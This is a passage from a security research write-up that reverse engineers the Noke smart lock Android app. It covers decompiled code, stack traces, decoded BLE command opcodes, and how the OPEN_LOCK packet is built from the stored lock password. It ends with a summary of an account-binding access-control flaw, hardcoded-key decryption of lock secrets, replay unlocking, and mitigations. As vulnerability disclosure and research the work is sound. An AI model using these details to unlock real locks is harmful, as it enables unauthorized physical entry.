at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1075)
6699392293d2352a5be9b40e5c72124a Cipher.doFinal (0601010140016073141d2f4e5d033263)
java.lang.Exception
at javax.crypto.Cipher.doFinal(Native Method)
at com.nokelock.blelibrary.c.b.a(Unknown Source:17)
at com.nokelock.blelibrary.c.b.a(Unknown Source:42)
at com.nokelock.blelibrary.a$3.run(Unknown Source:9)
at android.os.Handler.handleCallback(Handler.java:883)
at android.os.Handler.dispatchMessage(Handler.java:100)
at android.os.Looper.loop(Looper.java:237)
at android.app.ActivityThread.main(ActivityThread.java:7948)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1075)

The two handlers we have seen earlier are used to encrypt the data. Inspecting handler 1:

public static void a(String str, final String str2, long j) {
  BLEService.a(b, b.a(new j(TYPE.RESET_PASSWORD, str)));
  new Handler().postDelayed(new Runnable() {
      public void run() {
      BLEService.a(a.b, b.a(new j(TYPE.RESET_PASSWORD2, str2)));
      }
  }, j);
}

The RESET_PASSWORD looks very promising. Let’s search for that in the codebase:

Searching for RESET_PASSWORD we have found all codes in calss com.nokelock.blelibrary.mode.Order:

public class Order {
private TYPE a;
private final List b = new ArrayList();

public enum TYPE {
  GET_BATTERY(513),
  UPDATE_VERSION(769),
  OPEN_LOCK(1281),
  RESET_PASSWORD(1283),
  RESET_PASSWORD2(1284),
  RESET_LOCK(1292),
  LOCK_STATUS(1294),
  STOP_READ(1300),
  GET_TOKEN(1537),
  SET_TIME(1539),
  READ_OPEN_LOG(1543),
  GET_DEVICE_ID(2305),
  RESET_AQ(2561),
  SET_WIFI_NAME(4353),
  SET_WIFI_PASSWORD(4609),
  VOLUME_ADJUSTMENT(57345),
  SET_PASSWORD(57601),
  DELETE_PASSWORD(57857),
  SET_KEY_PASSWORD(58369),
  RESET_DEVICE(59393),
  SET_OPEN_DIRECTION(59395),
  SET_MOTOR_TORQUE(59397),
  SET_LOCK_DELAY(59399),
  REGISTER_FINGERPRINT(61441),
  QUERY_FINGERPRINT(61697),
  DELETE_FINGERPRINT(61699),
  FINGERPRINT_CHECK(62211),
  RESET_FINGERPRINT(62465),
  WRITE_CARD_MODE(64513),
  DELETE_CARD_BY_ID(64523),
  UPDATE_LOCK_DOOR_INFO(64525),
  READ_CARD_MODE(64530),
  QUERY_ID_CARD_NUMBER(64533),
  WRITE_ID_CARD_NUMBER(64528);

  final int a;

  private TYPE(int i) {
      this.a = i;
  }

  public int getValue() {
      return this.a;
  }
}

So it seems that the developers implemented an enumeration having custom codes, meaningful for BLE communication. Let’s decode those codes by writing a small python script:

Python script:

decoded=""" GET_BATTERY(513),
UPDATE_VERSION(769),
OPEN_LOCK(1281),
RESET_PASSWORD(1283),
RESET_PASSWORD2(1284),
RESET_LOCK(1292),
LOCK_STATUS(1294),
STOP_READ(1300),
GET_TOKEN(1537),
SET_TIME(1539),
READ_OPEN_LOG(1543),
GET_DEVICE_ID(2305),
RESET_AQ(2561),
SET_WIFI_NAME(4353),
SET_WIFI_PASSWORD(4609),
VOLUME_ADJUSTMENT(57345),
SET_PASSWORD(57601),
DELETE_PASSWORD(57857),
SET_KEY_PASSWORD(58369),
RESET_DEVICE(59393),
SET_OPEN_DIRECTION(59395),
SET_MOTOR_TORQUE(59397),
SET_LOCK_DELAY(59399),
REGISTER_FINGERPRINT(61441),
QUERY_FINGERPRINT(61697),
DELETE_FINGERPRINT(61699),
FINGERPRINT_CHECK(62211),
RESET_FINGERPRINT(62465),
WRITE_CARD_MODE(64513),
DELETE_CARD_BY_ID(64523),
UPDATE_LOCK_DOOR_INFO(64525),
READ_CARD_MODE(64530),
QUERY_ID_CARD_NUMBER(64533),
WRITE_ID_CARD_NUMBER(64528)"""

for d in decoded.split(","):
f = d.strip()
f = f.split("(")
mode = f[0]
c = int(f[1][:-1])
code = ''.join('{:04X}'.format(int(f[1][:-1])))
print mode, code

OUTPUT:

GET_BATTERY 0201
UPDATE_VERSION 0301
OPEN_LOCK 0501
RESET_PASSWORD 0503
RESET_PASSWORD2 0504
RESET_LOCK 050C
LOCK_STATUS 050E
STOP_READ 0514
GET_TOKEN 0601
SET_TIME 0603
READ_OPEN_LOG 0607
GET_DEVICE_ID 0901
RESET_AQ 0A01
SET_WIFI_NAME 1101
SET_WIFI_PASSWORD 1201
VOLUME_ADJUSTMENT E001
SET_PASSWORD E101
DELETE_PASSWORD E201
SET_KEY_PASSWORD E401
RESET_DEVICE E801
SET_OPEN_DIRECTION E803
SET_MOTOR_TORQUE E805
SET_LOCK_DELAY E807
REGISTER_FINGERPRINT F001
QUERY_FINGERPRINT F101
DELETE_FINGERPRINT F103
FINGERPRINT_CHECK F303
RESET_FINGERPRINT F401
WRITE_CARD_MODE FC01
DELETE_CARD_BY_ID FC0B
UPDATE_LOCK_DOOR_INFO FC0D
READ_CARD_MODE FC12
QUERY_ID_CARD_NUMBER FC15
WRITE_ID_CARD_NUMBER FC10

The value 0601 defines how the message starts. That is indicated as, GET_TOKEN. So let’s search where the GET_TOKEN is indicated in the source code, as the TYPE_PASSWORD it’s not what is sent to the device as we have originally assumed.

The GET_TOKEN is found to be used in z class: com.nokelock.blelibrary.mode.z:

public class h extends z {
private Random a = new Random();
public h() {
  super(TYPE.GET_TOKEN);
  a((byte) 1, (byte) 1);
}

public String a() {
  StringBuilder stringBuilder = new StringBuilder();
  int value = b().getValue();
  value &= 255;
  stringBuilder.append(Order.b((byte) ((value >> 8) & 255)));
  stringBuilder.append(Order.b((byte) value));
  for (value = 0; value < c(); value++) {
      stringBuilder.append(Order.b(a(value)));
  }
  for (value = stringBuilder.length() / 2; value < 16; value++) {
      stringBuilder.append(Order.b((byte) this.a.nextInt(127)));
  }
  return stringBuilder.toString();
}

Let’s trace a((byte) 1, (byte) 1); The method a does not belong to h, so we iterate one class back to class z: The method is found in z:

public void a(byte b) { super.a(b); }

But again, the method pass the byte b to the super’s method a(byte). Let’s iterate to order class:

protected void a(byte b) {
this.b.add(Byte.valueOf(b));
}

It seems that it adds the byte into a list:

So the order contains a list of bytes. This can be confirmed, as other methods exists as well, for adding array of bytes into the list too: class Order:

protected void a(byte… bArr) {
if (bArr != null) {
  for (byte a : bArr) {
    a(a);
  }
}
}

If we inspect the h’s a method closer, we can see that it concatenates the type of mode and b list (found in order) and converts the bytes into a hex string that is returned:

public String a() {
  StringBuilder stringBuilder = new StringBuilder();
  int value = b().getValue(); // get type int value
  value &= 255;
  stringBuilder.append(Order.b((byte) ((value >> 8) & 255)));
  stringBuilder.append(Order.b((byte) value));
  for (value = 0; value < c(); value++) {
  stringBuilder.append(Order.b(a(value)));
  }
  for (value = stringBuilder.length() / 2; value < 16; value++) {
  stringBuilder.append(Order.b((byte) this.a.nextInt(127)));
  }
  return stringBuilder.toString();
}

Let’s hook into h class to inspect who’s calling it by searching the import of blelibrary.mode.h: Two results were found:

  • class com.nokelock.y.activity.UsbLockActivity
  • class com.nokelock.blelibrary.a

In class com.nokelock.blelibrary.a:

public static void a(long j) {
  new Handler().postDelayed(new Runnable() {
      public void run() {
          BLEService.a(a.b, b.a(new h()));
      }
  }, j);
}

The h class is not used, for now, but let’s check the z class:

z: type=GET_BATTERY java.lang.Exception
at com.nokelock.blelibrary.mode.z.(Native Method)
at com.nokelock.blelibrary.mode.a.(Unknown Source:2)
at com.nokelock.blelibrary.a.a(Unknown Source:2)
at com.nokelock.y.activity.lock.LockInfoActivity$5.handleMessage(Unknown Source:9)
at android.os.Handler.dispatchMessage(Handler.java:107)
at android.os.Looper.loop(Looper.java:237)
at android.app.ActivityThread.main(ActivityThread.java:7948)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1075)

z.a() = 02010101982ADD9A6E3D15393536390E z.a() = 02010101982ADD9A41341B1B6B150537

z: type=SET_TIME java.lang.Exception
at com.nokelock.blelibrary.mode.z.(Native Method)
at com.nokelock.blelibrary.mode.w.(Unknown Source:2)
at com.nokelock.blelibrary.a.b(Unknown Source:2)
at com.nokelock.y.activity.lock.LockInfoActivity$7.run(Unknown Source:32)
at android.os.Handler.handleCallback(Handler.java:883)
at android.os.Handler.dispatchMessage(Handler.java:100)
at android.os.Looper.loop(Looper.java:237)
at android.app.ActivityThread.main(ActivityThread.java:7948)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1075)

If we open other classes of package mode, we will see that all classes are one of the following types: (open-lock class, log class, etc..) that extends z class. So the h class was meant for get-token, which may be used for another type of lock or may never be used (future development). The main takeaway here is h class and Order class.

We have also observed that the last remaining bytes of each command are filled with random values: class z, method a and class h, method a:

for (value = stringBuilder.length() / 2; value < 16; value++) {
stringBuilder.append(Order.b((byte) this.a.nextInt(127)));
}

Unauthorized unlock via leaked secrets

We have found that class i is responsible for opening the lock:

public class i extends z {
  public i(String str) {
      super(TYPE.OPEN_LOCK);
      char[] toCharArray = str.toCharArray();
      a((byte) 6, (byte) toCharArray[0], (byte) toCharArray[1], (byte) toCharArray[2], (byte) toCharArray[3], (byte) toCharArray[4], (byte) toCharArray[5]);
  }
}

Stacktracing I:

[SM-A202F::com.nokelock.keybox]-> z: type=OPEN_LOCK java.lang.Exception
at com.nokelock.blelibrary.mode.z.(Native Method)
at com.nokelock.blelibrary.mode.i.(Unknown Source:2)
at com.nokelock.blelibrary.a.a(Unknown Source:2)
at com.nokelock.y.activity.lock.LockInfoActivity.r(Unknown Source:81)
at com.nokelock.y.activity.lock.LockInfoActivity.setTvOpenLock(Unknown Source:6)
at com.nokelock.y.activity.lock.LockInfoActivity_ViewBinding$3.doClick(Unknown Source:2)
at butterknife.internal.DebouncingOnClickListener.onClick(Unknown Source:12)
at android.view.View.performClick(View.java:7870)
at android.widget.TextView.performClick(TextView.java:14970)
at android.view.View.performClickInternal(View.java:7839)
at android.view.View.access$3600(View.java:886)
at android.view.View$PerformClick.run(View.java:29363)
at android.os.Handler.handleCallback(Handler.java:883)
at android.os.Handler.dispatchMessage(Handler.java:100)
at android.os.Looper.loop(Looper.java:237)
at android.app.ActivityThread.main(ActivityThread.java:7948)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1075)

The i constructor was not invoked for a reason. So we will go back to com.nokelock.blelibrary.a.a

public static void a(String str) {
BLEService.a(b, b.a(new i(str)));
}

This function actually encrypts the data: The b.a:

// returns encrypted data
public static byte[] a(z zVar) {
  StringBuilder stringBuilder = new StringBuilder();
  stringBuilder.append("===发送指令===");
  stringBuilder.append(zVar.a());
  e.a("BLEService", stringBuilder.toString());
  return a(a(zVar.a()), d.a().g()); // encrypt(decodeHex(data)), getkey())
}

The application/context and encrypted byte array are sent to BLEService.a:

public static void a(Context context, byte[] bArr) {
  Intent intent = new Intent("com.nokelock.y.ble_cmd");
  intent.putExtra("com.nokelock.y.ble_cmd_type", 0);
  intent.putExtra("com.nokelock.y.ble_cmd_value", bArr);
  context.sendBroadcast(intent);
}

Which finally sends a broadcast for the transmission of the data.

BUT, whos invoking com.nokelock.blelibrary.a.a?

This is called when the two bytes have been sent when z.a(bytes[]) is called

z.add bytes = 0101
add bytes: java.lang.Exception
at com.nokelock.blelibrary.mode.z.a(Native Method)
at com.nokelock.blelibrary.mode.h.(Unknown Source:18)
at com.nokelock.blelibrary.mode.h.(Native Method)
at com.nokelock.blelibrary.a$3.run(Unknown Source:2)
at android.os.Handler.handleCallback(Handler.java:790)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:164)
at android.app.ActivityThread.main(ActivityThread.java:6494)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807)

Those were set by each mode class constructor, ie for h mode class (in stacktrace: com.nokelock.blelibrary.mode.h.(Unknown Source:18)):

public h() {
  super(TYPE.GET_TOKEN);
  a((byte) 1, (byte) 1);
}

The above code calls the a constructor of z:

public void a(byte… bArr) {
super.a(bArr);
}

which adds to the byte list (packet) the sequence of bytes 0x0101

Those 4 bytes are later-on used by z when constructing the BLE-ATT packet.

The following is the string received when blelibrary.a.a(str) is called:

blelibrary.a(str) = 000000
d.a(barr = 5b7ae18b
d.a barr: java.lang.Exception
at com.nokelock.blelibrary.c.d.a(Native Method)
at com.nokelock.blelibrary.a.b(Unknown Source:830)
at com.nokelock.blelibrary.a.a(Unknown Source:0)
at com.nokelock.blelibrary.a$1.onReceive(Unknown Source:61)
at android.support.v4.content.c.a(Unknown Source:60)
at android.support.v4.content.c.a(Unknown Source:0)
at android.support.v4.content.c$1.handleMessage(Unknown Source:11)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:164)
at android.app.ActivityThread.main(ActivityThread.java:6494)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807)

The d.a is called within blelibrary.a.b(…):

r3 = com.nokelock.blelibrary.c.d.a();
r3.a(r0);

The stacktrace of i (open_lock) mode class:

at com.nokelock.blelibrary.mode.i.(Native Method)
at com.nokelock.blelibrary.a.a(Unknown Source:2)
at com.nokelock.blelibrary.a.a(Native Method)
at com.nokelock.y.activity.lock.LockInfoActivity.r(Unknown Source:81)
at com.nokelock.y.activity.lock.LockInfoActivity.setTvOpenLock(Unknown Source:6)
at com.nokelock.y.activity.lock.LockInfoActivity_ViewBinding$3.doClick(Unknown Source:2)
at butterknife.internal.DebouncingOnClickListener.onClick(Unknown Source:12)
at android.view.View.performClick(View.java:6294)
at android.view.View$PerformClick.run(View.java:24770)
at android.os.Handler.handleCallback(Handler.java:790)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:164)
at android.app.ActivityThread.main(ActivityThread.java:6494)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807)

If we analyze r method of LockInfoActivity class:

private void r() {
o();
if (d.a(this.F)) {
c(false);
} else if (App.c().e().isEnabled()) {
s();
  if (h()) {
      if (this.A != null) {
          this.A.setText(getString(R.string.unlocking));
      }
      a.a(com.nokelock.blelibrary.c.d.a().h());
      return;

We can clearly see that the com.nokelock.blelibrary.c.d.a() returns com.nokelock.blelibrary.c.d object, which equals to (new com.nokelock.blelibrary.c.d()).h() The method h of com.nokelock.blelibrary.c.d returns a string:

public String h() {
return this.d;
}

The string is set by a method of the same class from method c:

public void c(String str) {
this.d = str;
}

Stacktrace of d.c(string). NOTE that is set at the moment the app is connected with the ble lock, and from that moment on, the same value is used for all subsequent calls:

[Nexus 5X::com.nokelock.keybox]-> 000000 = d.c()java.lang.Exception
at com.nokelock.blelibrary.c.d.c(Native Method)
at com.nokelock.y.activity.home.HomeActivity.a(Unknown Source:163)
at com.nokelock.y.activity.home.HomeActivity.onActivityResult(Unknown Source:64)
at android.app.Activity.dispatchActivityResult(Activity.java:7276)
at android.app.ActivityThread.deliverResults(ActivityThread.java:4264)
at android.app.ActivityThread.handleSendResult(ActivityThread.java:4312)
at android.app.ActivityThread.-wrap19(Unknown Source:0)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1644)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:164)
at android.app.ActivityThread.main(ActivityThread.java:6494)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807)

The string is set by a method of HomeActivity class:

public void a(DeviceListBean deviceListBean) {
  Bundle bundle = new Bundle();
  StringBuilder stringBuilder = new StringBuilder();
  stringBuilder.append(deviceListBean.getId());
  stringBuilder.append("");
  bundle.putString("lockId", stringBuilder.toString());
  bundle.putString("mac", deviceListBean.getMac());
  bundle.putString("name", deviceListBean.getName());
  bundle.putString("electricity", deviceListBean.getElectricity());
  bundle.putInt("isAdmin", deviceListBean.getIsAdmin());
  bundle.putInt("isLock", deviceListBean.getIsLock());
  bundle.putString("barcode", deviceListBean.getBarcode());
  bundle.putString("password", deviceListBean.getLockPwd());
  bundle.putString("account", deviceListBean.getAccount());
  bundle.putString("deviceId", deviceListBean.getDeviceId());
  bundle.putString("lockKey", deviceListBean.getLockKey());
  bundle.putString("firmwareVersion", deviceListBean.getFirmwareVersion());
  bundle.putBoolean("enterOpen", false);
  com.nokelock.blelibrary.c.d.a().d(deviceListBean.getMac().trim());
  com.nokelock.blelibrary.c.d.a().c(deviceListBean.getLockPwd().trim());

As we can see, the string we are looking for, is the lock password.

Searching the getLockPwd() we observed that a setLockPwd(string) exists, that sets the password. Searching for such method lead us streight to the following: deviceListBean.setLockPwd(cursor.isNull(i2) ? null : cursor.getString(i2));

Conclusions

We have found an access control issue in Noke Lock’s server which permits to bind any lock to your personal account. Next, we have exploited that to retrieve the lock’s secrets.

Then we have successfully enumerated the lock and reverse engineered the android application in order to better understand the custom communication protocol.

Then we have unlocked the lock based on the secrets retrieved by exploiting the vulnerability found earlier. The secrets retrieved by the API was encrypted by hardcoded secrets. Decrypting the secrets, we were able to use them and communicate with the lock.

Therefore, the lock has been unlocked. Additionally, the BLE Lock was vulnerable to replay attacks as replaying any packet was possible to unlock the lock.

Finally, we have to say that more could have been be done but we have spent the time-frame window of this project. Future work can be done in more depth exploring the rest of the functionalities of the lock such as password changing or password removal.

Mitigations

The replay attack could be avoided if the message was protected by an incremented index followed by a message integrity signature. Regarding the access control vulnerability, an access control mechanism should be implemented in bind operation in order to forbid unauthorized lock bindings.

More information about the BLE:Bit Tool: docs.blebit.io.